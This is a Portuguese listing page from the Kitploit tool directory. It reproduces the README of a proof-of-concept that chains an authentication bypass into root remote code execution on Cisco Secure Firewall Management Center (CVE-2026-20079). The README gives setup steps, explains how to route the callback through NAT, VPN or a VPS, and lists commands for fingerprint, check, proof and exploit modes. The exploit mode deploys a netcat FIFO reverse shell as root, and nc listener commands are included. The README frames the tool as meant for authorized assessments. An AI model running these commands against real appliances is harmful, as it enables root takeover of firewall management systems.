Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-20079 — Implementa a cadeia de bypass de autenticação para RCE como root do CVE-2026-20079 contra o Cisco Secure FMC usando os modos fingerprint, check, proof e interactive exploit. | Kitploit
Ferramentas/GitHubGitHub/cyberauth/cve-2026-20079
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticaçãoDesenvolvimento de Payloads
GitHubcyberauth/cve-2026-20079

CVE-2026-20079

Implementa a cadeia de bypass de autenticação para RCE como root do CVE-2026-20079 contra o Cisco Secure FMC usando os modos fingerprint, check, proof e interactive exploit.

Ver Repositório
6364há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC do CVE-2026-20079 Cisco Secure FMC

Prova de conceito em Python para a cadeia documentada publicamente de bypass de autenticação até RCE com root no Cisco Secure Firewall Management Center, no CVE-2026-20079.

Esta não é uma nova vulnerabilidade nem uma cadeia de exploração desenvolvida de forma independente. É uma implementação clean-room da sequência de requisições publicada pela VulnCheck, com modos separados de fingerprint, verificação em etapas, prova única e exploração interativa.

Configuração rápida

É necessário Python 3.10 ou superior. No Linux ou macOS:

git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help

Substitua os endereços de exemplo

Todos os valores 192.0.2.x abaixo são endereços reservados para documentação. Eles são placeholders, não informações de alvo descobertas, e devem ser substituídos por valores da avaliação autorizada. Não se espera que os comandos funcionem sem alterações.

ExemploSignificadoO que usar em vez disso
https://192.0.2.10URL do FMC alvoO esquema, endereço e porta exatos do FMC autorizado
192.0.2.20Endereço para onde o FMC se conecta de voltaO endereço IP ou nome DNS do listener do operador conforme alcançável a partir do FMC
192.0.2.0/24CIDR de fingerprint de exemploUm intervalo de rede explicitamente autorizado
4444Porta TCP de callback/listenerUma porta alcançável aprovada no sistema de callback
0.0.0.0Onde o listener se vincula no sistema do operadorMantenha-o para escutar em todas as interfaces locais, ou use o endereço de uma interface local
192.0.2.10 em --expected-callback-sourceOrigem esperada do callbackO endereço de origem do FMC conforme observado pelo listener; omita esta opção quando o NAT tornar isso incerto
http://127.0.0.1:8080Proxy de interceptação local opcionalA URL do proxy que está realmente escutando no sistema do operador

Escolhendo --callback-host

Use esta regra: do ponto de vista do FMC, qual endereço alcança o listener do operador? Esse endereço é o --callback-host.

Caminho de redeValor típico de --callback-host
Operador e FMC estão na mesma rede roteadaO endereço eth0, en0 ou outro endereço de LAN alcançável do sistema do operador
Operador alcança o FMC através de uma VPNO endereço alcançável da interface VPN, como tun0 ou utun, quando o FMC tem uma rota até ele
Operador está atrás de NAT ou firewallO IP público ou nome DNS cuja porta selecionada é encaminhada para o sistema do operador
Um túnel de callback ou VPS é usadoO endpoint de túnel alcançável ou endereço do VPS

Não use 127.0.0.1 ou 0.0.0.0 para --callback-host. 127.0.0.1 se referiria ao próprio FMC, enquanto 0.0.0.0 é um valor de vinculação do listener, não um destino. Garanta que o roteamento, as regras de firewall e qualquer encaminhamento de porta permitam que o FMC alcance --callback-host na --callback-port.

--listen-host é apenas local: ele seleciona a interface na qual o listener integrado aguarda. Seu padrão, 0.0.0.0, escuta em todas as interfaces locais. Ele não informa ao FMC onde se conectar. Portanto, --callback-host e --listen-host podem ser diferentes, especialmente através de NAT.

Exemplo prático: operador e FMC na mesma rede

Suponha este laboratório fictício, apenas para documentação:

Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

Os valores são mapeados para o comando da seguinte forma:

  • --target https://192.0.2.10 identifica o FMC que está a ser avaliado.
  • --callback-host 192.0.2.20 é o endereço eth0 do sistema do operador, porque o FMC consegue encaminhar diretamente para ele.
  • --callback-port 4444 é a porta TCP aprovada utilizada pelo callback.
  • --listen-host 0.0.0.0 faz com que o listener integrado aceite o callback em qualquer interface local, incluindo eth0.

Um comando de prova de execução única para esse exemplo seria:

python3 CVE-2026-20079.py \
  --proof \
  --target https://192.0.2.10 \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --listen-host 0.0.0.0

O fluxo é: o operador envia requisições HTTPS para 192.0.2.10, então o FMC conecta de volta ao 192.0.2.20:4444 do operador. Em uma avaliação real, substitua ambos os endereços IP e confirme a rota de retorno antes de executar o comando. Se o FMC não conseguir alcançar o endereço eth0 do operador, use o endereço de VPN, NAT, túnel ou VPS alcançável descrito acima.

Modos e referência rápida de comandos

ModoEfeito de rede ou no alvoEvidência ou resultado
--fingerprintApenas requisições GETUma possível superfície web do FMC; não é confirmação de vulnerabilidade
--checkNo máximo duas requisições GET; sem upgrade de sessãoO padrão de resposta do bypass conhecido correspondeu total ou parcialmente
--check --intrusiveAtualiza o estado da sessão no lado do servidorBypass de autenticação e acesso a um token de ação
--proofGrava e executa um payload de callback limitadoExecução como root mais limpeza, sem um shell interativo
--exploitGrava e executa um payload FIFO/netcatUm callback root interativo, ou verificação limitada com --auto-verify

Defina os três valores de exemplo uma vez, substituindo cada um pelo alvo autorizado, endereço de callback do operador e porta:

# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

Em seguida, escolha exatamente um modo:

# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"

# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"

# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"

# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat:         nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
  --auto-verify

[!IMPORTANT] A identificação por fingerprint é uma etapa heurística de identificação de produto, não uma verificação de vulnerabilidade. MATCH e LIKELY não provam que o alvo está afetado ou é explorável, e NO_MATCH não descarta o FMC. Proxies reversos, páginas de login personalizadas, controles de acesso, falhas de rede ou alterações no produto podem afetar o resultado.

Baixar ferramenta